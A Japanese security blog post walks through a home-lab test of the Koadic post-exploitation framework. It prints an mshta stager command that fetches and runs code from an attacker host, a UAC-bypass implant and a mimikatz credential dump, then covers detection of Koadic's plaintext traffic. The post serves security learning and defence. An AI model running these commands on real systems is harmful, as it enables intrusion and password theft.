うさブロ

ぼっちなうさぎのセキュリティラボ

とある親父の侵入実験【Koadicを使ってみた】

f:id:appleseedj073:20180311215026p:plain

4月の濱せっくで、Empireについて話させてもらった時に、Empireと同じ様なツールで「Koadic」というものがあることを聞いたので、Empireとの比較をしつつ試しに使ってみることにした。

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・環境

  • 攻撃PC(Kali Linux)192.168.136.202
  • やられPC(Windows)192.168.136.145

2・準備

Githubから、Koadicをダウンロードする。

github.com

README.mdの記載通りにインストールする。

 git clone https://github.com/zerosum0x0/koadic.git
 cd koadic
 pip install -r requirements.txt

f:id:appleseedj073:20180516111004p:plain

3・起動

Koadicを起動する。

 ./koadic

f:id:appleseedj073:20180516111329p:plain

tabの補完機能で、現在利用できるコマンドを確認する事ができる。

「info」コマンドで現在の設定状況を確認できる。

f:id:appleseedj073:20180516112134p:plain

 次にEmpireならリスナーモードに移行するところだが、Koadicでは既にリスナー状態?な様子。よって次のステップとしてStagerを作成して対象のPCに送りつけることになる。(Empireではusestagerコマンドを使用して作成していた。このKoadicでは、起動当初からusestagerコマンドを使用した状態である。)

先ほどのinfoコマンドの実行結果で判明している様に最低限必要なホストのIPアドレスとポート番号は指定済なのでこのまま「run」コマンドを実行する。

f:id:appleseedj073:20180516133529p:plain

 この最後に書かれた「mshta〜」の1行がKoadicに接続する為のコマンドとなる。

 mshta http://192.168.136.202:9999/iSZmj

このコマンドを対象PC上のコマンドプロンプト上で実行すると攻撃PC側に接続が行われる。

f:id:appleseedj073:20180516134015p:plain

ここで「Zombie」と表記されているのは、Empireのagentと同じ様にコントロール配下に置いたPCを指している。最初のzombieということでID 0が割り振られている。

f:id:appleseedj073:20180516134353p:plain

ここでzombieコマンドとIDを指定することで、対象PCの情報を表示できる。

 zombie 0

f:id:appleseedj073:20180516150752p:plain

4・展開

KoadicにもEmpireのmoduleと同じ様な機能がimplantとして存在する。その中にEmpireと同じ様に権限昇格を実行する機能があるのでそれを使用する。

  use implant/elevate/bypassuac_eventvwr

f:id:appleseedj073:20180516203846p:plain

infoコマンドで入力する必要のなる項目を確認できる。ここで、PAYLOADを設定する必要があるので、0を設定する。

 set PAYLOAD 0

入力したのちにrunコマンドで実行

f:id:appleseedj073:20180516212448p:plain

権限昇格が成功すると管理者権限での新しい接続が作成される。

zombiesコマンドを実行すると新しく作成された接続IDの横にEmpireと同じ様に「*」についているのが確認できる。

f:id:appleseedj073:20180516212831p:plain

このIDの詳細をzombiesコマンドで確認すると

f:id:appleseedj073:20180516214843p:plain

Elevatedの項目が、「Yes!」になっている。ちなみに権限昇格前のID 0は「No」となっている。

次に権限昇格を完了したので、対象PCのパスワード奪取を試みてみる。Empireでも使ったMimikazのimplantがあるので使用。

f:id:appleseedj073:20180516221200p:plain

 use implant/inject/mimikatz_dotnet2js

必要事項は既に入力されているのでこのまま実行。

f:id:appleseedj073:20180516221413p:plain

mimikazが実行されて、問題なくユーザ名とパスワードが奪取できた。

5・対応

このkoadicは対象PC側で、mshta.exeを実行しないといけない。よって攻撃者は、これを実現するために別の脆弱性を利用しコマンド実行を実現してくる事が考えられる。したがってこの攻撃を成功させない最も簡単な処置としては、利用しているシステムに対する脆弱性の対処が挙げられると思う。

また、トレンドマイクロさんのブログによると、「Koadic は JScript のコードを平文で送信するため、トラフィックを検出することが可能」と書かれている。

f:id:appleseedj073:20180516225858p:plain

実際に通信パケットをキャプチャーしてみると確かにJScriptのやりとりを確認できるので、言われている様に検出は可能。

f:id:appleseedj073:20180516230215p:plain

他のコマンドに関しても上図の様に平文でやりとりされている。

 

blog.trendmicro.co.jp

 

※mshta.exe:Windows標準搭載のプロセス。C:WindowsSystem32にあり、HTA (または HTMLS) タイプのファイルを開く役割を持っている。HTAとは、「HTML Application」の略で、Internet Explorer 5以降に利用可能な技術で、HTML言語などを利用して実行ファイルを作成する事が可能。最近だとワンクリックウェアなどに利用された。

6・まとめ

今回検証したkoadicは、昨年検証していたEmpireと同じくらいに攻撃への転用が進んでいる。(既に攻撃キャンペーンでの利用がある)

今後は攻撃者の立場で考え、この手法を活用したペネトレーションテストを確立していくことが、本攻撃キャンペーンへの対応につなげられるのではと個人的に推察する。